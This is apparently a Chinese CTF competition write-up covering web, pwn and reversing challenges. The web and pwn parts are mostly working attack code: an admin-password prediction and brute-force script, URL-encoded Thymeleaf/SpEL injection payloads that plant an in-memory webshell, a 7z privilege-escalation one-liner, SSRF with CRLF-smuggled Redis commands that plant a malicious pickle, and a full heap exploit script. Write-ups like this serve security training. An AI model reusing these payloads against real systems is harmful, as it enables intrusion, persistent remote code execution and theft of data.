先来一张最终排名时截的:
WEB
thymeleaf
新建新用户并计算出 admin 的密码,脚本如下:
import reimport randomimport stringimport requestsimport sysBASE = "http://1f4fbf11-331b-4144-8548-5c36b98452d3.51.dart.ccsssc.com/" _# 例如: http://target:8080_sess = requests.Session()_# 1) 注册一个随机用户,拿到明文密码(即 PRNG 当前输出)_uname = "u" + "".join(random.choice(string.ascii_letters + string.digits) for _ in range(10))r = sess.post(f"{BASE}/register", data={"username": uname}, timeout=8)m = re.search(r"<code[^>]*>(\d+)</code>", r.text)if not m:print("[-] 没解析到注册密码,可能注册失败或页面结构不同") sys.exit(1)p = int(m.group(1))print(f"[+] register password = {m.group(1)}")_# 2) 计算 admin 64 个候选_base = (p & ((1 << 42) - 1)) << 6_# 3) 爆破 admin 登录_admin_pwd = Nonefor x in range(base, base + 64): cand = f"{x:016d}" resp = sess.post(f"{BASE}/dologin", data={"username": "admin", "password": cand}, allow_redirects=False, timeout=8 )if resp.status_code in (301, 302, 303, 307, 308): admin_pwd = candprint(f"[+] admin password found: {cand}")breakif not admin_pwd:print("[-] 64 个候选都失败。大概率不是新实例(状态已被他人推进)。") sys.exit(2)_# 4) 验证 admin 页面_check = sess.get(f"{BASE}/admin?section=main", timeout=8)print(f"[+] /admin status = {check.status_code}")print(check.text[:500])拿到 admin 密码:0236506025278727

接下来内存马注入
step1:
__%7C%24%24%7Bnew.org.springframework.expression.spel.standard.SpelExpressionParser().parseExpression(%22''.getClass().forName('java.lang.System').setProperty('part1'%2C'H4sIAAAAAAAA%2F6VYB5wjV3n%2F3q12pdtdt10ftlzPmLPvVrurrpX2DLbaqveuw%2BCRNOrSSDOjSscYCCE0A%2Bbg6OUgJORsyN4dB9iGxE5IQgqppPdCICGNYIw335vRNt8anOR%2Be9LMe9%2F76v8rT19%2F5otfAQAD%2BSSB2zm%2BohU6fK1dKfNMix1wfEPLDjs8Kwg1rq1NsoKoBELg6jrTZ7RNpl3RRgp1toirUwSmWkKFwEJwdzMhUl4nCRziGgRInsB8hRWdTUYQwsifwLXHTxxEvoqKrDIdplhlV6ui2FkdsIXVKtMuNVleWA3ZvZ3gapCrBGuCyLZZXgVzBK5Czg5GYC0mmQ05fJ%2FXJPjsk39akz6jMVpT%2BnhWaxSMwriVG8fSDZ%2FQrAziDkthaMilMhYhKKZ8CYffJ1ic%2Fk7DZWoJ5rJgioxDkXqk4DAXGH2bFcW6mYmn%2B0ymNRJ4U8DgNjsDNme2a9Q4%2B9qqd%2BQue4utlN6QHoa5aEdTiozbxra3pzEbBbY41mpMomFsdxWqOVOeNQybWbEQaG2sNRlbcDSKCG2vPuBvbaTGvV6EH%2BirxqYvm%2FV5q9ZR1mcrGP1ehydg0nTceq7bbeZNGr4npMJFmyGmCzGDpK7WTpuLFvcoqdN7LWajtSx0jdF019b0eMx8sMUEMsV0zxcaMV4ml21HQ8x4OI6Nh9qOYa1k0JV5b3UYdkXdYrWWMZWMHp0%2F2TMG2IojxTndTd6vrzSiRl27UG3lmKqx5cilwhaL12931BiTOWPsGUPsgI%2FkTQWbZ%2BhfSw0bVjE34l2GWj83atbdgpctsaah2cWu8WNBNBkDhrqrVklkTMOux5YzMPaysGYJb3C%2BWqQZczNWT3yjOLI4Y%2FqxwRntmYf58Rrj6Jss%2FZE5ITg6fIa3B%2FTjdCNoG6WFfN4RFkeOlNgquJp1ltc4LLy7V7FrhE5GEx86bMWAccMzCCUHzWSixQwsnorTICQcAUshV8yYKhFDplDsNw1Dw1o4ZAvaraNBvtqppBupQKhXSectzUaxljbE6sVRoRXPxdpmY6aXCcQHG0O%2BmIz1khWx2jVmuvlgsKV1hE1lfyHHxOr1qjvG6gyWDq%2FxrgWEQidqE41hv7OfDfHplLOSirpDKauRb1UzqbA%2B2x%2F1E862EGS0KZMzo3Pqva7WIJxbKwTy1nRTWxrrRrWNQr3Yc%2FFj1mX15qp18zDt0rjyUXfH1K6aWcHrLliLpVhL682G3MZhLVzf0IV1KX4wFp3GRnvDHs0la44YG%2FdZLY58MScEbFyF9YYSJX94I2zQpALW7kajoAuXXalxpx8Z5MVaxuVpWHpiSygaDWHOz1iMHttAWAtHQ85%2BS5PPuQO97LAztpVDZXFQd7dr9poY6KDvilFLLSiOTMFQ2%2ByOeUZGvcUXqbUighA3tJhULe5sGOIbTS9bbxpb9TormgJOrugzDxvtvqHhMvrbSXPY4dH5CnVxUPMUUh2PO70WapiS7kDVYGbannwhWPTobWmvfmNcbASdtVGpMMzZ8oI7Y26lnR1%2FMdDPjgLuDXc4vhGzuRo8J7R7miTnDDlL%2FsxwMAyWcuIw6d8wVPlY1L0WiGiMmbV0IOgvS%2FGzJb1D26CniZqcTNYXzPc8oq4qBlmHa5DSDkMDr2DWeSOjLtNKmYKWjYG%2BqYvbs5E%2BV406R5Eyl7AU4ua%2B12eL622JVC1bK%2FU0FkOt5c7EfW1NpZYPshVPJZcq20Kcu211JuPmstNpSjv8LlctslYchititqMtp0weztqKBrVO3pS16Uy%2BVtIYsupiqaDH72oJxmqEiZpbfE%2FLiwZE1Lgy6tc7tXqtMLA3LQ2m2zfEXFqb1ysy5aAro3evBQ3lViBbGTNc16wvV20Rw9icLFpajWY9a3eakg1TTGvitBVOy7Wr3a5NGPUr414iu1buWgqetjvlDWlivWIgO9C4vcmEP%2BkqJf2DUd%2BUGAS9oVR4GOz6GiaLNqUfrRnFXtfpNkU0nXGiWPPaAjqNaPKZvFmrk0n7Uxtxq6s4NOu1rlrWHjM7%2Bykm2LF3NQ7RXWwO%2B%2BFoxW%2BNGbNDlzYRsmc3Bs58IZTSxwR3R5dre4t5zpJK9LK9chozrzrwV9ImR9%2BaGq6ZvTYTb%2FD5zYaRtsC4bFy6a3aIdU3YNuL87aouF9DWslZNuWYMuO1MXSgPsqZuo65joh19ky0xcX85yziaImPtaNpGV6vf7Kd5e8Lj04iJtYxOHCViAVenOXSU2TS6KSDm%2FdFatFYQItGiJpl3tsR6OM%2FpR6NM25c0cfpx3dLjDV1jIpSM9KuFqpUfG7zpYkhb0ITyHdHNxkbGkT0eKnir3TDnymVKXNY5CIwjwXZ3nNInI0GP1VxNjQtMM%2B9vFbMhQ5PrsvFOLu5Li57U2ka%2B7GLN%2BiJrr5t1GmyZxnJ4oNcaC0aXJ2Aeh6r%2BWDXgrQ0aDQurdw14X1GXE3PBTCRd9621nMN60V8L5bmSi%2FPobNFKlrM6HdqczpUttmORQqwUHpSMQd1G0FLWOt22aqsca%2FR6LGswdiNxT0y0%2Bzp1zLGCOyn4arG8O95GVHAdN29x6tjw2O3cSCQFxucNbXg7zqHJW%2FN4SxuGToNnsKNVKz2tiDWi6jba007GOQowbhcXGae5YIgdpRqcpW7rJTS1RqpcGhWC0ZZpbVTNDEWza2ioJnWCIZoQmoFyPcm08zZHRo%2FZmEsaHdZg0eVwc%2F6c1R2vl%2BOGQUjjFYaelsESEePedl5v8wSqqXTBYBgmi416M1T1WgfaDUNo1Ezqw3GhNahri%2BxGyCGG47Fo0OhoWEMpzlx28yNrbhQ1ajumbpFLdvvjYr2TM5frna7WG%2FOV%2BYTdq9HV2FY61OgNI5kO1%2BM4XaZU8fDBkdNic0UsXRvjy2nrpXIwo3e0EvHmmj3WsqbaPT%2BfEHUVW6LVqw6bvWzdXBq3mKTOKeabAZ8j68g13BrGkIq7hLazHBAzuUbAFtGYW6le2eYfejWVUaSetzii424wk%2FF2TXpdOW%2BOti1ubyZvNFrzw4KWNWp6vjAfq8XXUHVXxTO0R%2B2dfNee6qcrAWHDWmjEvC5rxaSvjjWVYDcwCJftQl3c6OmyrpjdroIrCczcVWvXxJfg%2BHf8RJrA4u44l6zy3IApNFklLOzbcA%2BLbEfEiVIJ1%2BLgJvTaq62aUFxNtQWmzKrgBbi4Sy2Ni0q4noCyzPHy3Hjs%2BOVj495JUjpzch5ugBtnQQ03ETgsVtlt%2FrfgBIvToostNhmeLW3U2GaJwMpP4Mmz5SaOulqJHHkfhdso7xcSuO45iJTwIgJXCKxoLxbpCI2uIKA4nj%2BRnoc74M5ZOAbH0W%2BoCoE79kqXh%2Bp90idL87AEGnpwGU3CgyGu1GuiSauTV1ascmjLPQfYcuoy%2FxxkncwB5ehAT80zYOROXa6HEkwErn%2Bu40qwIDBq7T7XQIttB5h2AMsDrbWCbRbWYJ2AavvmgAodPyjWd8GLZ0EBiMRrOOm4FINIuYwBUME9qFBr4iwHgSt3zwe5dkUJLvkGYW%2BXEqwoi1fBBoYrmYu6keUBAr3gOwxu8M%2FD1XANFR2cByWoDsMhCBOYpfpybZEdYnSv2da4J9aaWpSAx6MQm0XSOEJk35YSkvsgJYfP0as1SyyvhPQsZKikaZihknJoF9PpsO3ngeB9nFCDU%2FBSyuxeNL0oa3qU5XmOXz%2BqgpfL%2FnDT9xCCl6lgJE%2FsFbCT3gfIQOYMFKh5RYycyMmr88DCLJVYRo9sS2xz4tEy12uXVFBF2prI8ozI8QResM9nvsk6cq5DYw5S0MS75uX7SmhjoagyQlhyPBal%2FDx0oDsHHCBTRVta3n%2Fv3EGbCD1K18foTdRbP3pKBUPEy2404xz3PPJ1xw9jeAX1wyvxEnwv%2BvXVMpITVbbZnIfX0mQ%2BBK%2BTsoXyIHDnAYwPEIUl5H54Az38AIG5U9qle4%2FyLFMazargTbRSMjWcXVDeT%2BG9G9d%2Bet%2BlPTHCi3NLCT%2BDDuJ6KPSILKHGaaOotojKs0wLlX87vOMwvA3eifGiSrN8v7njBxU8iPd5Ocm36869P17556xEz7ccvAfeS01%2BaF9AooxYVcHp%2FRZKkpTwAfQFUtKuMQ8fpOhTw4dwrSa4Wx1xNA8fge4snIGPUqhoT6jg4%2Biv4yr4JH7h21naap6VunddrthLTqKDdom8jFCVEvlnZ%2BGzENynGGYNhkkJPy%2B71N5sJkSm2EjyDLaIZxeKENNBo38Bzs3C5')%22).getValue()%7D%7C__%3A%3A.xstep2:
__%7C%24%24%7Bnew.org.springframework.expression.spel.standard.SpelExpressionParser().parseExpression(%22''.getClass().forName('java.lang.System').setProperty('part2'%2C'%2BDhfYUCt5TwecRNgx2hrHn4RYjNwRdgk5KihTdR5zC1Nss7kH2FpxkW5TnahzheBRcRhkWZAqXeuDdszirDJ9huj20XMbUxey7Bl6iLvozCRIav0Gr6KOqCD1KFTTPNHtYG6%2FMK%2FYFRfRy%2BSqP6NSqgWhNepFPBL1P9qlioeLatgidxp0%2FFoK7X7%2FOQk2vSvoOzBPL5Vfg6dcGvYX4fRKGE35iDb9C6McOUSuh5AurjB%2FOiZv8W%2FDYtM7%2BD5FG6g177XUQJU%2B%2Bo4PelGiP9HqWCPyQw3eE5kVPBt3CdKTEdka7%2FCfZk9HEbeVKX%2FxnuCZhBtSK2oL9Army7gvFRwV9h%2Fu2iWUqIIMdgiab6Xdbp5C209m%2Fgb2ms%2F04ORaLW6jRZGef%2FIOP8H7FTrmoybAH7w56jKvg2atJixGKV%2BvPIQU0Dzf8OfJdG%2FV%2FQCJ4VuB6P0FHB97CE0gKogn%2FHCGHXETI1sToP%2FylT%2FxdyLm6Xh%2F%2Bm3iqVniViO71RxFPwQ%2BrhpzFeaAEqat%2BnKAHNTyiyex0yKQl77MQUhiMHEivJIXle2qZUzMMzsIUgJDPzcJi67xDB84ebuC%2BdmyezOEqSKTI3D1fI%2B1dg9SuxRa7Eyj870o51gCtPOebJVeRqeuIaquO41sHBk2tJv6oiCo6fckg0i%2BRaSnMEq3mJLSMwJLkqch02jlMOJVFvlxiJuw99XKGG3HiY3AR%2BuZhsD7RyNZ4nt0gjHLmVTlA4aCqlFIqUqaK%2BvW6cMDs5T15Ibp8lNxEcW8kpFbkDdWmzA19bEBksBvPkOPQowxNYXmjt6nSatSJDE8bdZ9vi9s%2BxqLRme8KSEotuKMnKHFmVkg9rC9NEj%2Brgh4gZoqfrT29fEKQDdp5nRvIp03b13N0QlISOl4xAKWiBfu7usSMebbMS2yxZI%2Bs%2FJuuxqV5N7polZvJiNFH4sSbejQ4VOUkhivATBygxT%2BzEgdYR58SIVSpxVYaLirjlIdElYQhB6EGjZECpiA%2BDtHMvctgTbotphy6wC7xeuUxXQtvewwbui%2Bxer0iEwM3bG46RyErqRnpipzfp8UoSmyVx2qNu3nUJQlTryfuivvYeOhxKb7qM1T4KvP1NUzRLXszOkgzJ0XK9M1rsIZ64%2BtQsSZGXYkmhPXFy2jdPXkZeTjfuw5UBjwMhehp3fD48RAqkiAoTpJ4TuR096LVKyqIyqdBtnCSni01OQMzWcTZHZg263JCHr8mF7%2B7%2FdcfafwUkcMvuVphL9IpVaWOP%2FzsEju7JM0RahWnKt8E9VPykhPc6LF%2BUq41ILzNq0sMZ96jEdHdOxumcDJ6jbkteHc2SLhnPkzbhaEV5pXwH3durD7qRXc7toKkTSzrymievpbPnMYKD633%2Ft5HvrqWXPM%2Bpj8Ctz3azXOD2ePAN6Cd5cb%2Bf3jhLHiBj3Lx85FQSHI1v2F2N99pircXuYYoz83XS%2FeeoNOSiGUdbkgzKGUfnpQMicPD9SArL22fJW8k79mTqnlFbSd61W5Zwa2%2BKTo6%2Fe5Y8SN6Dt7KOfGx7aNyXYnund5otD5H3zcIiOU1zvEwZ0Ay4q9ic%2FGQDKvIhOnlh%2BiucWE8QKRJjHC6TjPRrxeyOP7BXHU7UKm1G7PEs3IanFAD4OUtvovg0S%2B%2B%2B%2BH0Ndl3soEDIR%2FHtKqBdGGBqYf4c0H%2BEts%2FLNq%2Fa3ryanqebh0DmR962cN0FuDmoWbh1E24PLSs24cQy2YSV8IJ6QTv1ZVBvgnFBQR4D8yacXFesbMLdC3YFruemFo4lcHN9Wj29ggsKXFAvOJELrp58DNzrMxKxZ0YmViRyikcgkMhN4yM9p1QrV2bkc4dwTz2DW2q6dTJzFhTBszAFS%2Bch9AhEToPiYRJc2oQErr4odAkyufOQfQTym%2FCyhfvwY2n5PJTwexMqn4e85km4ZT9NbWfvLDyouQgtAqHli4A%2BPw334wPme3j%2FiRHlunIeXkVfXrNznC69fl2xtKJGR71x%2F5E37xGiWVfs33wL5adWyGouvHWXdGus%2BDxEHoF3IWEm8zAa%2FRl6GUFUqUiCpGER4%2FZueAiOYNw%2Bhs9emPs%2BPKTE90NbMAdESUO5hZA4pKR%2FKbqyePSWp2FGCdwW3AsKeR3flAgpuvsU3PkUnjpE784TqLwXtyjeXk5CmoV3E3IB3rfwfunrMTgTwnCENRjLTfhwePlJmF45t7wJHzsN101sXKE2fUK26dzetU%2FhxzJ9%2BPRkEyF4CFW%2Ffsecm0Gxha9TkpKo6hmq4RF4Gq7A5xuQPAoxmJIQixbDPCL2dZfgsyjh54IX4JGLcF4OJUY0vCJHlDArUkQfg8%2BtK2icLlCILnxxE75yGvJqxcJjF%2BCXFp6gH7%2BCH4%2FBF9Zn1DMX4dcJXITfJECBOcHGCfqErNZVatUO8WGN%2BvCE%2BpuHIHN265tn4dso4PckAW%2FHpz%2FAp%2FfDA%2FtE%2FRH9%2BGP8oMIW%2FpS%2B%2FTn9%2BEv68dd0HcXuyEB5exQ6TAVOFDosKzSrnt0hntOo556tUH595iykqPV%2F%2FwSEpG8pgP8kif%2FnTfjX02CRlhf%2BbSL8CTimVspRXviPTfj%2BaTiCGv2A7qo0VJ8fUebPnNHQKH4aZ9ljO1Ecw%2BwzcL2EspQEOy%2BotmEnI%2B9zGE4lfAGfAX4A2kMUmbMHkSikP5lwC7QUxs8mAnAgRhQ%2FgBjCmHwc5SvoVYR8QiqYn8H%2FeNmYANs9AfYxzSIhMqDJ1LkQvk1Lb%2BGVvetSuaQ3kG3DZoCEpFyjPyWhMMryG7iqxO%2FTS5rzRBki4eWlTXJ4k8yHz8IprA2b5MoLZOECecH69CKZWiTXywVwkdxAKyC5Gcsc%2FdwkR2ksFJvkNvXMslwI1dNIMnWBHKOlcPor9EGqper91WmR3CknFo3V%2FgK1skmWqBkqLPTX7phxIy0W105KgUJJMN3UUqL9EDK7DsT%2F98MbJlY%2BhTZSK7%2BGrlqeuOpxsnoaPCuPkVWaWBeJFoGIek6w%2BUL6RLGJVsmqyX4x0PJ9dutbasXyRWKkGILOJWLOrWBPwb8L5OR58pL%2FF0NU8Z5JSzIn5FZEubkIJFBvLKow8cMxUD0DRyUXrCKcjiF%2BnoK5H8GNe9%2Fv3OcRdqedXj1pp9jF8nI%2FPUxvnhN%2FvRNRMYXf3CLZkBrqIvFO2ifBb8y0kyEasUXin6h6hnbBZVndJSnO5Ab8OxdaJMEJh%2FBeUg2G9nJqSaV7wL4TaxWQ74MdY7vHjMP0%2BjtR9FEcKGhgX3qJxHPnSSJIQpdIKneJZHJL50n%2BPLk3dM3V8CVVeBmxxOQsig%2FBlZqVqSMIVPbs1ndQi9r69PIToFzeJE18a6mnz63P7FuYeVQaXO6CAMoJQEj6lrWzwzSNAIkrSUpJbnga1aS1ntywRf2H3%2FKW1KdoV1PuLtGJBbvhtlkkimbhDD4xqzZJ9HtwTLg7tLyg%2BCQsLGPTuv1cGPXqh85uffcS6eYmebS0kzuLZIifGjmBzpNXPIoOm6NzEulOVL4Kpp6GacyYgJJ0n8KZ7uNSYTiEtwABNXwcvjpRwYRWUwhcu6S5QF41maVQ0sq5EJHjtJctlpYYMtzPjbyavGbC7RbkRQ1akLiFVyi3lSW05fUPS7PcnujS323lU0SNazS6n1p6HNSnYXYJi8dZUFJ71xUEk0vxBBjV00%2FCKjbyBbVCI2EUS9H0WZjH12X5eetbmHQY8f664uzWNyj9rZfIA9veWyRv2uuzNz%2BqnpbK2LQsVElwYFjCAeDkORyDyFt3j71t9xjOQuSdFCe3wYvhHvIA6vwAvHEHxTGYu9KJPv8RLVpqJazdpHIoyQNzR%2BP4vEVdJo8LSvIWJZhlElrc1pR0oFBM2shkWyp1cnsg96NIBgqTnH4dOplO1xaaBFI6hC%2BRB3Mr58l7Q9QX78cc%2BMC6YoLuM2rFuR3sn1FPPypNUbfACeRwAvvDiR2Yn4CpZ%2BAOJXmQYhfObFFkSMV3EdckcD%2BDYZMArSIf3B7KwUKHOfx361lcWiQfxoI%2BhdMhBhDObn0PLsEhVPEjewraNExNXYGY%2Bx%2BOb%2FvKZygAAA%3D%3D')%22).getValue()%7D%7C__%3A%3A.xstep3:
__%7C%24%24%7B1.getClass().forName('org.springframework.cglib.core.ReflectUtils').defineClass('org.springframework.expression.Test'%2Cnew.java.util.zip.GZIPInputStream(new.java.io.ByteArrayInputStream(1.getClass().forName('org.springframework.util.Base64Utils').decodeFromString(new.java.lang.StringBuilder(''.getClass().forName('java.lang.System').getProperty('part1')).append(''.getClass().forName('java.lang.System').getProperty('part2'))))).readAllBytes()%2C1.getClass().forName('org.springframework.expression.ExpressionParser').getClassLoader()%2Cnull%2C1.getClass().forName('org.springframework.expression.ExpressionParser'))%7D%7C__%3A%3A.x成功注入内存马:

读取 flag 权限不够,需要提权,这块后边重新注了一个 behinder 马

通过/usr/bin/7z 提权获取 flag
/usr/bin/7z a -bd -ttar -an -so /flag 2>/dev/null | /usr/bin/7z e -bd -ttar -si -so 2>/dev/null
auth
先随便注册一个账号登录进去,找到一个 ssrf 入口


返回包有 base64 编码内容,可以外带一些敏感数据
接着用常规路径字典爆破,爆破出来 app.py
看到其中的 redis 配置项:
CONFIG_FILE_PATH = '/opt/app_config/redis_config.json'REDIS_HOST = 'localhost'REDIS_PORT = 6379REDIS_PASSWORD = '123456'会优先拿 redis_config.json 中的密码,还得去读取
和 ssrf 在一块,尝试直接 crlf 去进行 redis 访问
http://127.0.0.1:6379/\r\nAUTH 123456\r\nHSET user:11 role admin\r\nQUIT\r\n但是发现认证失败,没招了只能去读 redis 默认配置看看
/etc/redis/redis.conf:requirepass redispass123bind 0.0.0.0protected-mode nodaemonize yeslogfile ""dir /var/lib/redis拿这个密码去尝试,发现正确了变成 admin,回到 app.py,此时可以访问/admin/online-users 了,发现一个 pickle 反序列化的点:
for key in online_keys: try: serialized = r.get(key) if serialized: file = io.BytesIO(serialized) unpickler = RestrictedUnpickler(file) online_user = unpickler.load()同时过滤了一些东西,但是容易绕,可以用 allowed builtins.getattr+main.OnlineUser,上传点在 redis,因此之前的提权逻辑可以复用。
把恶意 pickle 写入 online_user:11,访问 /admin/online-users 触发执行。
avatar_url=http://127.0.0.1:6379/%0d%0aAUTH%20redispass123%0d%0aSET%20online_user:11%20%22c__main__%5CnOnlineUser%5Cn...%28tR.%22%0d%0aEXPIRE%20online_user:11%203600%0d%0aQUIT%0d%0a但发现读不了 flag,其他可以,可能是权限问题,联想到起初在/proc/11/cmdline 发现的:
/opt/mcp_service/mcp_server_secure_e938a2d234b7968a885bbbbb63cde7b9.py发现了 mcp,还泄露了 token,还发现了调用 XML-RPC 服务的 execute_command 可以直接读 flag,没有限制,目的是为了反序列化后执行 python -c 以下代码,写个简单的 pickle 序列化字符串生成脚本就好:
import xmlrpc.client,sys;s=xmlrpc.client.ServerProxy('http://127.0.0.1:54321/RPC2');r=s.execute_command('mcp_secure_token_b2rglxd','cat /flag');sys.stdout.write((r.get('stdout') or '') + (r.get('stderr') or ''))" >/tmp/flag1Python -c "xxx"
PWN
mailsystem
逆向完毕之后,发现这里 j 可以等于 12,溢出到 admin_note 这个 bss 段上得变量。

这个地方能实现风控用户,用户被风控之后就可以使得上面的 n7<=7,之后就能利用溢出,控制 admin 的账号和密码为空,登录即可。

登录 admin 账户之后就可以调整用户邮箱中的内容,后面将 stderr 当作一个用户的邮箱内容发到 1 账户的邮箱中去,之后登录 1 邮箱去查看邮箱内容就能去泄露 libc 的内容。
后面继续攻击_IO_2_1_stderr_打一个 house of some 就好:
from pwn import *from pwn_std import *from SomeofHouse import HouseOfSomeip="192.0.100.2"port=9999p=getProcess(ip,port,["./ld-linux-x86-64.so.2", "--library-path", "./", './pwn'])context(os='linux', arch='amd64', log_level='debug')elf=ELF("./pwn")libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.12_amd64/libc.so.6")cmd = """set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.12_amd64/.debug/dir /home/alpha/CTF/glibc-source/glibc-2.35/elfdir /home/alpha/CTF/glibc-source/glibc-2.35/mallocb *$rebase(0x00000000000030A9)"""def login(name, password): sla("Your choice: ",str(1)) sla("name:",name) sla("password:",password)def register(name, password): sla("Your choice: ",str(2)) sla("name:",name) sla("password:",password)def write(size,con): sla("Your choice: ",str(1)) sla(' (1-256): ',str(size).encode()) sla('bytes):\n',con)def send(id): sla("Your choice: ",str(3)) sla(' (input user ID 1-12)',str(id).encode())def user_read_inbox(io): sla(b"choice", b"2") # 进入读邮件子菜单 sla(b"choice", b"2") # 读取 Inbox p.recvuntil(b"Inbox (new mail):\n") data = io.recvline()[:-1] sla(b"choice", b"3") return data#先实现7个注册register('test','test')register('test','test')register('test','test')register('test','test')register('test123','test123')register('test123','test123')register('test123','test123')register('test123','test123')#将前5个放到风控里面# def feng(id):# write(256,'123')# send(id)# write(256,'123')# send(id)# sla('Overwrite? (y/n): ','y')# write(256,'123')# send(id)# sla('Overwrite? (y/n): ','y')# write(256,'123')# send(id)# sla('Overwrite? (y/n): ','y')# write(256,'123')# send(id)def feng(id): write(256,'123') send(id) marker = b"\x1B[1;31;40m[SECURITY] Risk detected for" pp=b'Overwrite? (y/n): 'while(True): write(256,'123') send(id) rc(1) line = p.recvline(timeout=0.2)print('line=',line)if marker in line:print("hit security message, break")breakelse: sl('y')for i in range(1,5): login('test123','test123') feng(i)register('test123','test123')register('test123','test123')register('test123','test123')register('test123','test123')for i in range(5,7): login('test123','test123') feng(i)###风控了5,6,7,8,9,10register('testadmin','fakeadmin')##控制了admin的堆块###提前控制我们的stdout的内容pl=p64(0xFBAD1800)+p64(0)*3+b'\x00'+b'\x00'login('test','test')write(0x22,pl)sla("Your choice: ",str(4))login(b'\x00'*6,b'\x00'*0x10)####进入admin用户def mail_to_mail(des,src): sleep(0.1) sla('Your choice: ',str(4)) sleep(0.1) sla('(1-12) ',str(des).encode()) sleep(0.1) sla('destination user ID (1-12): ',str(src).encode()) sleep(0.1) sla('Your choice: ',str(1))# gdbbug(cmd)sla(b'Your choice: ','4')sla(b'rward): (1-12) ',str(-3))sla('ID (1-12): ',str(1))sla('Overwrite? (y/n): ','y')sla(' to forward?\n',str(1))sla(b'Your choice: ',str(5))login('test','test')sla(b'Your choice: ',str(2))sla(b'Your choice: ',str(2))# mail_to_mail(1,-7)ru(b'Inbox (new mail):\n')lb=uu64(rc(6))-libc.sym["_IO_2_1_stderr_"]-0x163print("libc_base=",hex(lb))sla(b'Your choice: ',str(3))sla("Your choice: ",str(4))libc_base=lblibc.address = libc_baseenviron=libc.symbols['__environ']fake_file_start=environ+0x400hos = HouseOfSome(libc=libc, controled_addr=fake_file_start)payload = hos.hoi_read_file_template(fake_file_start, 0x400, fake_file_start, 0)login('test','test')write(len(payload),payload)sla("Your choice: ",str(4))login(b'\x00'*6,b'\x00'*0x10)mail_to_mail(1,-3)sla('Your choice: ',str(5))sla('Your choice: ',str(3))ru('Goodbye!')ru('\n')stack=hos.bomb_orw(p,'./flag')ita()pwn_std 内容如下:
from pwn import *from pwnlib.util.packing import u64from pwnlib.util.packing import u32from pwnlib.util.packing import u16from pwnlib.util.packing import u8from pwnlib.util.packing import p64from pwnlib.util.packing import p32from pwnlib.util.packing import p16from pwnlib.util.packing import p8import psutil, timedef getProcess(ip,port,name):global pif len(sys.argv) > 1 and sys.argv[1] == 'r':# p = remote(ip, port,ssl=True) p = remote(ip, port)return pelse: p = process(name)return psl = lambda x: p.sendline(x)sd = lambda x: p.send(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)rc = lambda x: p.recv(x)rl = lambda: p.recvline()ru = lambda x: p.recvuntil(x)ita = lambda: p.interactive()slc = lambda: asm(shellcraft.sh())uu64 = lambda x: u64(x.ljust(8, b'\0'))uu32 = lambda x: u32(x.ljust(4, b'\0'))def gdbbug(cmd=''): gdb.attach(p,cmd) pause()
Re
re1
解包出来可以看到一个视频和一个 elf 文件,我们先用 ida 查看 elf 文件并获取相关信息,可以找到一个 base64 加密的长数据。

同时可以在主函数中看到 stager.pyc 的字眼,推测是将 stager.pyc 转为 base64 了,我们 cyberchef 解密一下并保存为 stager.pyc,再拖到在线 pyc 反汇编工具中查看代码。
工具链接:在线 pyc,pyo,python,py 文件反编译,目前支持 python1.5 到 3.6 版本的反编译-在线工具。

可以看到,加密方法是读取 payload,然后每 8 字节异或 10101010,然后结果为 1 表示黑色,0 表示白色,设置长宽边长的参数,所以解密只需要反过来皆可,这边附上解密代码。
from pathlib import Pathimport imageio.v2 as imageiovideo=Path("video.mp4")pix=8w,h=640,480xor=0xAAbits=[]for frame in imageio.get_reader(video):for i in range(0,h,pix):for j in range(0,w,pix): block = frame[i:i+pix,j:j+pix] bits.append("1" if block.mean() < 128 else "0")data = bytearray()for i in range (0, len(bits), 8): b=bits[i:i+8] data.append(int("".join(b), 2) ^ xor)Path("payload.bin").write_bytes(data)解密完我们发现是一个 elf 文件,直接改名拖入 ida 中查看逻辑:

可以发现进行了一系列输出,同时我们在字符串中看得到 md5 跟 flag 的字眼,尝试对 src 字符串所指的 md5 进行解密。

解密脚本附上:
import hashlibimport stringa =["8277e0910d750195b448797616e091ad","0cc175b9c0f1b6a831c399e269772661","4b43b0aee35624cd95b910189b3dc231","e358efa489f58062f10dd7316b65649e","f95b70fdc3088560732a5ac135644506","c81e728d9d4c2f636f067f89cc14862c","0cc175b9c0f1b6a831c399e269772661","92eb5ffee6ae2fec3ad71c777531578f","c4ca4238a0b923820dcc509a6f75849b","8fa14cdd754f91cc6554c9e71929cce7","92eb5ffee6ae2fec3ad71c777531578f","c9f0f895fb98ab9159f51fd0297e236d","0cc175b9c0f1b6a831c399e269772661","336d5ebc5436534e61d16e63ddfca327","92eb5ffee6ae2fec3ad71c777531578f","c9f0f895fb98ab9159f51fd0297e236d","eccbc87e4b5ce2fe28308fd9f2a7baf3","cfcd208495d565ef66e7dff9f98764da","336d5ebc5436534e61d16e63ddfca327","a87ff679a2f3e71d9181a67b7542122c","e4da3b7fbbce2345d7772b0674a318d5","e1671797c52e15f763380b45e841ec32","8f14e45fceea167a5a36dedd4bea2543","336d5ebc5436534e61d16e63ddfca327","c9f0f895fb98ab9159f51fd0297e236d","c9f0f895fb98ab9159f51fd0297e236d","eccbc87e4b5ce2fe28308fd9f2a7baf3","cfcd208495d565ef66e7dff9f98764da","336d5ebc5436534e61d16e63ddfca327","1679091c5a880faf6fb5e6087eb1b2dc","1679091c5a880faf6fb5e6087eb1b2dc","4a8a08f09d37b73795649038408b5f33","8f14e45fceea167a5a36dedd4bea2543","e1671797c52e15f763380b45e841ec32","eccbc87e4b5ce2fe28308fd9f2a7baf3","92eb5ffee6ae2fec3ad71c777531578f","eccbc87e4b5ce2fe28308fd9f2a7baf3","e1671797c52e15f763380b45e841ec32","cfcd208495d565ef66e7dff9f98764da","e4da3b7fbbce2345d7772b0674a318d5","0cc175b9c0f1b6a831c399e269772661","cbb184dd8e05c9709e5dcaedaa0495cf" ]rev ={}for i in string.printable: rev[hashlib.md5(i.encode()).hexdigest()] = iflag="".join([rev[i] for i in a])print(flag)运行得到 flag:dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}
re2
upx 魔改壳,但是将 CTF 改回 UPX 依旧没法脱壳:

x64dbg 手脱,此处在 rsi 打下硬件断点:

找到这里的大跳:

步进 dump 下来即可:

进去找到一大段非常可疑的 base64 字符:

提取出来得到一个新的程序 download.exe

进入定位到sub_401A10函数:

进入sub_4018F0分析:

在sub_4018B0中可以分析出是 rc4 初始化和解密:


动调可以知道,这里是在解密代码段,断点打在这里:

交叉引用定位到关键代码在sub_404EF3函数:

